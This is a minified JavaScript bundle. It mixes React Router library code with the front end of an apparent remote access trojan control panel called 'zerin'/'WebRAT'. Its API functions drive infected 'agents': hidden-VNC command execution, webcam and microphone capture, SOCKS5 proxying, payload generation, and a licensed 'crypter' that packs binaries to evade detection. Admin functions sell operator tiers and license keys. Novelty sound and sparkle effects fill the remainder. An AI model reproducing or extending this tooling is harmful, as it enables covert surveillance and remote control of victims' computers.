x=NP(e,{pathname:h}),g=rE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ui([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ui([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(td.Provider,{value:{location:jo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ei.Pop}},g):g}function JP(){let e=oE(),t=HP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const eE=p.createElement(JP,null);class tE extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(cr.Provider,{value:this.props.routeContext},p.createElement(J5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function nE(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(ed);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(cr.Provider,{value:t},r)}function rE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Ye(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d<o.length;d++){let f=o[d];if((f.route.HydrateFallback||f.route.hydrateFallbackElement)&&(u=d),f.route.id){let{loaderData:m,errors:h}=n,x=f.route.loader&&m[f.route.id]===void 0&&(!h||h[f.route.id]===void 0);if(f.route.lazy||x){c=!0,u>=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||eE,c&&(u<0&&m===0?(cE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(nE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(tE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var tj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(tj||{}),nj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(nj||{});function iE(e){let t=p.useContext(ed);return t||Ye(!1),t}function aE(e){let t=p.useContext(Q5);return t||Ye(!1),t}function sE(e){let t=p.useContext(cr);return t||Ye(!1),t}function rj(e){let t=sE(),n=t.matches[t.matches.length-1];return n.route.id||Ye(!1),n.route.id}function oE(){var e;let t=p.useContext(J5),n=aE(),r=rj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function lE(){let{router:e}=iE(tj.UseNavigateStable),t=rj(nj.UseNavigateStable),n=p.useRef(!1);return ej(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,jo({fromRouteId:t},a)))},[e,t])}const _g={};function cE(e,t,n){_g[e]||(_g[e]=!0)}function uE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Qi(e){let{to:t,replace:n,state:r,relative:i}=e;os()||Ye(!1);let{future:a,static:o}=p.useContext(Dr),{matches:l}=p.useContext(cr),{pathname:c}=la(),u=ur(),d=hx(t,mx(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function dE(e){return XP(e.context)}function ht(e){Ye(!1)}function fE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ei.Pop,navigator:a,static:o=!1,future:l}=e;os()&&Ye(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:jo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ss(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ga(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Dr.Provider,{value:u},p.createElement(td.Provider,{children:n,value:g}))}function pE(e){let{children:t,location:n}=e;return ZP(ym(t),n)}new Promise(()=>{});function ym(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,ym(r.props.children,a));return}r.type!==ht&&Ye(!1),!r.props.index||!r.props.children||Ye(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=ym(r.props.children,a)),n.push(o)}),n}/**
* React Router DOM v6.30.3
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function Uc(){return Uc=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Uc.apply(this,arguments)}function ij(e,t){if(e==null)return{};var n={},r=Object.keys(e),i,a;for(a=0;a<r.length;a++)i=r[a],!(t.indexOf(i)>=0)&&(n[i]=e[i]);return n}function mE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function hE(e,t){return e.button===0&&(!t||t==="_self")&&!mE(e)}function bm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function xE(e,t){let n=bm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const vE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],gE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],yE="6";try{window.__reactRouterVersion=yE}catch{}const bE=p.createContext({isTransitioning:!1}),wE="startTransition",Og=K2[wE];function jE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=wP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Og?Og(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>uE(r),[r]),p.createElement(fE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const kE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",NE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,dt=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=ij(t,vE),{basename:h}=p.useContext(Dr),x,g=!1;if(typeof u=="string"&&NE.test(u)&&(x=u,kE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ga(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=qP(u,{relative:i}),v=CE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Uc({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),SE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=ij(t,gE),m=nd(c,{relative:f.relative}),h=la(),x=p.useContext(Q5),{navigator:g,basename:y}=p.useContext(Dr),v=x!=null&&PE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ga(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},_=S?r:void 0,A;typeof a=="function"?A=a(z):A=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(z):l;return p.createElement(dt,Uc({},f,{"aria-current":_,className:A,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var wm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(wm||(wm={}));var Tg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Tg||(Tg={}));function zE(e){let t=p.useContext(ed);return t||Ye(!1),t}function CE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=ur(),u=la(),d=nd(e,{relative:o});return p.useCallback(f=>{if(hE(f,n)){f.preventDefault();let m=r!==void 0?r:Wc(u)===Wc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function xx(e){let t=p.useRef(bm(e)),n=p.useRef(!1),r=la(),i=p.useMemo(()=>xE(r.search,n.current?null:t.current),[r.search]),a=ur(),o=p.useCallback((l,c)=>{const u=bm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function PE(e,t){t===void 0&&(t={});let n=p.useContext(bE);n==null&&Ye(!1);let{basename:r}=zE(wm.useViewTransitionState),i=nd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ga(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ga(n.nextLocation.pathname,r)||n.nextLocation.pathname;return gm(i.pathname,o)!=null||gm(i.pathname,a)!=null}const rd="zerin_token",id="zerin_role",ad="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(rd,n.data.token),n.data.role&&sessionStorage.setItem(id,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function rt(){return sessionStorage.getItem(rd)}function vx(e){sessionStorage.setItem(rd,e)}function Yo(){sessionStorage.removeItem(rd),sessionStorage.removeItem(id),sessionStorage.removeItem(ad),ko=null}function aj(){return sessionStorage.getItem(ad)||"rat"}let ko=null;function EE(){return rt()?ko&&Date.now()/1e3>ko?(Yo(),!1):!0:!1}class di extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Se(e,t={}){const n=rt(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Yo(),xi();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new di(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new di(i.status,o)}if(i.status!==204)return i.json()}async function sj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function AE(e){const t=await sj(e.password),n=await Se("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function _E(e){const t=await sj(e.password),n=await Se("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function oj(e){return Se("/api/agents")}async function OE(e){return Se(`/api/agents/${e}`)}async function lj(e){return Se(`/api/agents/${e}`,{method:"DELETE"})}async function TE(e){await Promise.all(e.map(t=>lj(t)))}async function ME(e){return Se(`/api/agents/${e}/ban`,{method:"POST"})}async function LE(e){return Se(`/api/agents/${e}/unban`,{method:"POST"})}async function Ee(e,t){return Se(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Un(e){return Se(`/api/agents/${e}/tasks`)}async function IE(){return Se("/api/events")}async function DE(e,t){return Se(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function RE(e){return Se("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function $E(){return Se("/api/payloads")}async function BE(){return Se("/api/server-info")}async function FE(e){return Se(`/api/payloads/${e}`,{method:"DELETE"})}async function gx(e){return Se(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function WE(e){return Se(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function cj(e){return Se(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function UE(e){return Se(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function VE(e,t,n=!1){return Se(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function uj(e,t=-1){return Se(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function HE(e){return Se(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function dj(e){return Se(`/api/agents/${e}/mic/start`,{method:"POST"})}async function KE(e){return Se(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function fj(e){return Se(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function qE(e){return Se(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function YE(e){return Se(`/api/agents/${e}/socks5/status`)}async function GE(e){const t=rt(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Yo(),xi(),new di(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new di(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new di(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function XE(){return Se("/api/admin/keys")}async function ZE(e){return Se("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function QE(e){return Se(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function JE(){return Se("/api/admin/operators")}async function eA(e,t){return Se(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function tA(e,t){return Se(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let dc=[];function nA(e){return dc.push(e),()=>{dc=dc.filter(t=>t!==e)}}function rA(){return EE()}function xi(){dc.forEach(e=>e())}function iA(){const e=rt();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ls(){const e=p.useSyncExternalStore(nA,rA),t=p.useCallback(()=>{xi()},[]),n=p.useCallback(()=>{Yo(),xi()},[]),r=e?iA():null;return{isAuthenticated:e,token:rt(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class aA extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r
bg-zerin-accent hover:bg-zerin-accent-hover\r
px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function sA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=rt();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current<r){const b=u.current;u.current+=1;const w=Math.min(n*Math.pow(2,b),3e4);d.current=setTimeout(()=>{m()},w)}else Yo(),xi()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Hf="zerin_notifications_enabled";function oA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Hf)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Hf,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Hf,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Kf="zerin-uwu-mode",Mg=20,lA=3e3;function cA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function uA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function dA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function fA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=`
left:${Math.random()*100}vw;
top:${Math.random()*100}vh;
width:${i}px;
height:${i}px;
background:${t[n%t.length]};
animation-delay:${Math.random()*.6}s;
`,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Lg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Ig=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function pA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r<n;r++){const i=document.createElement("span"),a=Math.random()>.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Lg[Math.floor(Math.random()*Lg.length)];i.textContent=f,i.style.cssText=`
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
font-size:${10+Math.random()*14}px;
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
animation-delay:${Math.random()*.08}s;
`}else{const f=Ig[Math.floor(Math.random()*Ig.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=`
position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000;
width:${m}px;height:${h}px;background:${f};
border-radius:${Math.random()>.5?"50%":"1px"};
--fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg;
animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards;
animation-delay:${Math.random()*.06}s;
`}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Dg=["❤️","💖","💗","💕","♥️","🌸"];let Rg=0;function mA(e,t){const n=Date.now();if(n-Rg<60)return;Rg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Dg[Math.floor(Math.random()*Dg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function $g(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Bg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Fg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function hA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Fg[Math.floor(Math.random()*Fg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function xA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Kf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),$g()):(a.remove("femboy-theme"),Bg()),()=>{a.remove("femboy-theme"),Bg()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{pA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{mA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{hA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},lA),e){if(n.current>=Mg){n.current=0,t(!1);try{localStorage.removeItem(Kf)}catch{}uA()}return}if(n.current>=15&&dA(n.current-14),n.current>=Mg){n.current=0,t(!0);try{localStorage.setItem(Kf,"true")}catch{}cA(),fA(),$g()}},[e]);return{isActive:e,handleStatusClick:i}}const Wg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function vA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function gA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function yA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=`
position:absolute;left:0;right:0;height:2px;
top:${n*13}%;
background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent);
